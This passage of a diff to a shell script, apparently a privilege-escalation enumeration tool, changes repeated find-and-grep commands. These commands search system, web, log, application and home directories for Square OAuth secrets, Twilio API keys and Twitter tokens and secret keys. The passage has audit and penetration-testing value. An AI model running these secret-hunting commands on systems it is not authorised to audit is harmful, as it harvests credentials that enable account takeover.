0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~" & +print_3title_no_nl "Searching Square Oauth Secret (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Twilio API Key (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~SK[0-9a-fA-F]{32}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~SK[0-9a-fA-F]{32}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~SK[0-9a-fA-F]{32}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~SK[0-9a-fA-F]{32}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~SK[0-9a-fA-F]{32}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~SK[0-9a-fA-F]{32}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~SK[0-9a-fA-F]{32}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~SK[0-9a-fA-F]{32}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~SK[0-9a-fA-F]{32}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~SK[0-9a-fA-F]{32}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~SK[0-9a-fA-F]{32}~${SED_RED}~" & +print_3title_no_nl "Searching Twilio API Key (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Twitter Client ID (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~" & +print_3title_no_nl "Searching Twitter Client ID (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Twitter Oauth (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~" & +print_3title_no_nl "Searching Twitter Oauth (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Twitter Secret Key (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE 